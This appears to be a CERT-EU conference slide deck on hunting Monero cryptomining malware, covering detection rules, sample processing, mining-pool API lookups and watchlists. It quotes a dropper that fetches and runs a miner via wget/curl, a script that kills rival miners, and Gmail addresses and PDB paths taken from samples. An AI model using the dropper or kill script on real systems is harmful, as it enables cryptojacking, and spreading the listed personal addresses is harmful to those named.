Swimming in the Monero pools

Emilien LE JAMTEL
<table>
<thead>
<tr>
<th>WHO AM I?</th>
</tr>
</thead>
<tbody>
<tr>
<td>Emilien Le Jamtel</td>
</tr>
<tr>
<td>CERT-EU</td>
</tr>
<tr>
<td>Security Analyst</td>
</tr>
<tr>
<td>@<em><strong>Emilien</strong></em></td>
</tr>
<tr>
<td>kwouffe</td>
</tr>
</tbody>
</table>
• CERT for European Institutions, Agencies, and Bodies.
  • Around 60 organisations
  • From 40 – 40.000 users
  • Separate, heterogenous networks
  • Cross-sectoral
    • Government, foreign policy, embassies
    • Banking, energy, pharmaceutical, chemical, food, telecom
    • Maritime, rail and aviation safety
    • Law enforcement (EUROPOL, FRONTEX, EUPOL) and justice
    • Research, hi-tech, navigation (GALILEO), defence (EUMS, EDA)
• Operational support to infrastructure teams.
• Defence against targeted cyber threats.
AGENDA

• Why Monero?
• Hunting for new samples
• Processing samples
• Leveraging mining pools API
• Producing intelligence & attribution
• Future work
Why Monero is relevant for criminals?

- Blockchain obfuscation
  - Sender/receiver addresses are not in the public record
  - You need a secret view key to check all blockchain for your transaction
  - Amount of transaction is hidden

- Efficient mining on all hardware
  - Cryptonight as proof-of-work algorithm
  - no need for ASICs hardware
  - You can even mine on a smartphone!
More about Monero

• Pattern for Wallet addresses:
  • 4[0-9AB][0-9a-zA-Z]{3}

• Almost nobody solo mine
  • Pools for collaborative work
  • Use stratum overlay protocol

• Proof of concepts for botnets are available publicly
  • https://pastebin.com/nFRzUkHu
  • https://gist.github.com/lokielse/d4e62ae1bb2d5da50ec04aadccc6edf1
  • …
Some more facts

- Criminals are creative to expand mining botnets
  - Exploitation of Internet-facing server vulnerabilities:
    - Jboss,
    - Oracle WebLogic,
    - Jenkins
    - Drupal
    - NSA-powered exploit (EternalBlue)
    - Leveraging Android debugging tool (ADB.Miner)
    - ...

- Smominru botnet: more than 526,000 infected Windows hosts
- Biggest botnets made millions in XMR
Hunting for new samples

- Most scripts are available on github
  - [https://github.com/kwouffe/](https://github.com/kwouffe/)

- Looking for samples matching:
  - cryptonight & stratum references
  - Hardcoded XMR address
  - Outbound connections to mining pools
Hunting for new samples – VirusTotal

• Using YARA rules for hunting new samples (no regex)

```yara
rule mining_monero_basic {
    strings:
        $a1 = "stratum+tcp://"
        $a2 = "cryptonight"

    condition:
        $a1 and $a2
}
```

• Post-processing samples adding regular expression
• Around 150 new samples per day (and increasing...)
Hunting for new samples – Hybrid Analysis

- Looking for connections to known mining pool domains via public API
  
  ```
  ```

- Need to pass through vetting process to get more details:
  - Full report
  - PCAPs
  - Sample
Processing samples

• What are we looking for
  • Hardcoded monero wallet address
    • Used for authentication on pool
  • Hardcoded pool domains/IP
    • Compared with known pool addresses

• C2 domains/IPs
  • Configuration update
  • Based on known TTP

if [ -x /usr/bin/wget ] ; then
  wget -q http://XXX/Miner -O /tmp/Miner
elif [ -x /usr/bin/curl ] ; then
  curl -o /tmp/Miner http://XXX/Miner

Miner -B -a cryptonight -o stratum+tcp://xmr.redacted.za:80 -u 44pgg5mYVH6Gnc7gKfWGPR2CxfQLhwdrCPJGzLo
wrSt5CKSeEy6izyjEnRn114HTU7AWFTp1SMZ6eqQfvrdeGWzUdrADDu -p x -R 1
Processing samples – YARA and FLOSS

• String searches
  • Regex with YARA
    • 4[0-9AB][0-9a-zA-Z]{93}
  • Removing False positive
    • Full lower/uppercases and integers

• FLOSS (https://github.com/fireeye/flare-floss)
  • Deobfuscated strings
  • Regex on deobfuscated strings
Processing samples - Decompilation

• Leveraging Open-source projects
  • Retdec decompiler (https://github.com/avast-tl/retdec)
  • Snowman (https://derevenets.com/)

• Compiler/packer detection

• Retdec for 32bits, Snowman for 64bits

• Use of YARA/FLOSS for string search on output
Processing samples - Sandboxing

• Online sandboxing services (search reports)
  • Windows samples
    • Hybrid Analysis (https://www.hybrid-analysis.com/)
    • ThreatExpert (http://www.threatexpert.com)
  • Linux samples
    • Detux (https://detux.org/)
  • Android samples
    • JoeSandbox (https://www.joesandbox.com/)

• CERT-EU sandboxes
Stratum Protocol

• JSON-based Clear-text protocol (ಠ_ಠ)

• Easy to extract Wallet Address (used for authent...)

• Suricata/SNORT rules available on my github account
Processing samples - conclusion

- **YARA**
  - Match on regex

- **FLOSS**
  - Deobfuscated strings
  - YARA

- **Decompilation**
  - Retdec
  - Snowman
  - YARA

- **Sanboxing**
  - Strings in memory
  - PCAP
  - YARA

**Expected Output**
- Monero Wallet Address
- Domains/IP of interest
- Highlighting interesting samples
Leveraging mining pool API

• Most pools use open-source projects with documented API
  • node-cryptonote-pool
  • cryptonote-universal-pool
  • nodejs-pool

• Some have custom-made API
  • nanopool
  • dwarfpool
  • Minergate
  • ...

• All of them allow unauthenticated queries for specific monero wallet address (☞゚ヮ゚)☞
Mining pool: API & domains

• Pools engines store their configuration in .js files
  • `config.js` for node-cryptonote-pool and cryptonote-universal-pool
  • `global.js` for nodejs-pool

• Contains
  • Link to the API endpoint
  • poolHosts (domains used for stratum protocol)
  • coinUnits (Unit used by API answers)
Leveraging mining pool API – getting data

https://monero.REDACTED:8091/stats_address?address=44pgg5mYVH6...

- Mined Coins: balance + paid coinUnits
- We can search for activities on all known mining pools

<table>
<thead>
<tr>
<th>stats:</th>
</tr>
</thead>
<tbody>
<tr>
<td>hashes:</td>
</tr>
<tr>
<td>lastShare:</td>
</tr>
<tr>
<td>balance:</td>
</tr>
<tr>
<td>total:</td>
</tr>
<tr>
<td>paid:</td>
</tr>
<tr>
<td>lastpayout:</td>
</tr>
<tr>
<td>lastpayoutamount:</td>
</tr>
<tr>
<td>payint:</td>
</tr>
<tr>
<td>monerov:</td>
</tr>
<tr>
<td>typeminer:</td>
</tr>
<tr>
<td>monerovtmp:</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>payments:</th>
</tr>
</thead>
<tbody>
<tr>
<td>0:</td>
</tr>
<tr>
<td>1:</td>
</tr>
<tr>
<td>2:</td>
</tr>
<tr>
<td>3:</td>
</tr>
<tr>
<td>4:</td>
</tr>
<tr>
<td>5:</td>
</tr>
<tr>
<td>6:</td>
</tr>
<tr>
<td>7:</td>
</tr>
</tbody>
</table>
Leveraging mining pool API – Some statistics

- Top10 Wallets (mined coins)
Leveraging mining pool API – Some statistics

• Top10 pools (mined coins)
Leveraging mining pool API – Some statistics

• Pools distribution (1 example)
Producing Intelligence - watchlist

• From previous work, we can derive:
  • Pool watchlist for detection/blocking
    • HTTP/API request to get updated list of host/port for mining
  • C2 URL watchlist for detection/blocking
  • List of malicious hashes
  • Yara rules for detection/hunting
  • SIEM rules (sigma) for detection with SYSMON
  • Malicious Monero wallet addresses for pool notification

• And push everything to MISP for sharing
Producing Intelligence - attribution

-\[(ツ)_/\-
Future Work

• Cleaner code

• GUI / Web service with RESTful API

• Expand to other cryptonote currencies
  • Bytecoin
  • DashCoin
  • Sumokoin
  • ...

Thanks for listening

https://cert.europa.eu
Extra Slide 1: Killing the competition

```bash
#!/bin/sh
pkill -9 142.4.124.164
pkill -9 192.99.56.117
pkill -9 jvap
kill -f ./atd

----------------------------------------------------------------------------
pkill ./Guard.sh
pkill ./JnKihGjn
pkill ./KGlJwWDbCPnwvEJupeivI1FXsSptuyh

----------------------------------------------------------------------------
ps aux | grep -v supsplk | awk '{if($3>40.0) print $2}' | while read procid
do
  kill -9 $prociddone

----------------------------------------------------------------------------
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
```

184 lines

82 lines

8 lines
Extra Slide 2: Bad OPSEC – PDB path

C:\Users\fr4gn\OneDrive\Desktop\MoneroIdleMiner-master\MoneroIdleMiner\MoneroIdleMiner\obj\Release\nvcontainer.pdb
C:\Users\Danger\Desktop\miner\Source Code\obj\x86\Debug\t.pdb
C:\Users\fmm\Desktop\CRYPTO WORK\SOURCE CRYPTO WORK\mining bot1\sample\Release\sample.pdb
C:\Users\miner\Desktop\vcbinjeckt\WIN32_MemoryAppLoader\MemoryAppLoader\obj\Debug\MemoryAppLoader.pdb
C:\Users\ShuSheng\Desktop\Monero_Loader\Release\xmrig.pdb
C:\Users\gamal\Downloads\Compressed\XMRMiner\XMRMiner\XMRMiner\obj\Debug\XMRMiner.pdb
C:\Users\Dzotra\Desktop\MinersAll\Minerfix2\Program\Program\obj\Release\Program.pdb
C:\Users\Damir\source\repos\Victoria\Release\Victoria.pdb
C:\Users\AbDou\Desktop\SourceCode\obj\x86\Debug\t.pdb
C:\Users\Taakj2005\Desktop\XMR Cpu Miner\DogeMiner\obj\Debug\DogeMiner.pdb
C:\Users\Marc\Downloads\0. Mine Monero\O. Sources XMRIG\xmrig-master\Build\Debug\xmrig.pdb
C:\Users\suck.cc\Desktop\Miner\Source Code\obj\x86\Release\t.pdb
Extra Slide 2: Bad OPSEC – gmail addresses ...

stratum+tcp://xmr.pool.minergate.com:45560 -u vomvomko@gmail.com -p rony1500
stratum+tcp://xmr.pool.minergate.com:45560 -u Denn4408@gmail.com -p x
stratum+tcp://xmr.pool.minergate.com:45560 -u growweek@gmail.com -p
stratum+tcp://bcn.pool.minergate.com:45550 -u Olegovich21rus@gmail.com -p x
stratum+tcp://xmr.pool.minergate.com:45560 rafaelcampobom@gmail.com cryptonight -u
stratum+tcp://etn-eu1.nanopool.org:13333 -u egorovdenis33@gmail.com -p x
stratum+tcp://xmr.pool.minergate.com:45560 -u Zpemik@gmail.com -p x
stratum+tcp://fnc-xmr.pool.minergate.com:45590 -u gx6060@gmail.com -p x
stratum+tcp://xmr.pool.minergate.com:45560 poulpmaster@gmail.com
stratum+tcp://xmr.pool.minergate.com:45560 -u hallomills204@gmail.com
stratum+tcp://xmr.pool.minergate.com:45560 -u canbebusiness@gmail.com -p x
stratum+tcp://xmr.pool.minergate.com:45560 -u alexwarlock89@gmail.com -p x
stratum+tcp://xmr.pool.minergate.com:45560 -u saifjooj66@gmail.com -p x
stratum+tcp://xmr.pool.minergate.com:45560 -u gabikgadjiev13@gmail.com -p x
stratum+tcp://xmr.pool.minergate.com:45560 -u growweek@gmail.com -p x
stratum+tcp://bcn.pool.minergate.com:45550\x00johnsieherman576@gmail.com
stratum+tcp://xmr.pool.minergate.com:45560 -u busines.soft.ua@gmail.com -p x
stratum+tcp://fcn-xmr.pool.minergate.com:45590 -u gmc.drill@gmail.com -p x
stratum+tcp://xmr.pool.minergate.com:45560 -u gabikgadjiev13@gmail.com -p x
stratum+tcp://176.9.147.178:45560 -u venom4263@gmail.com -p x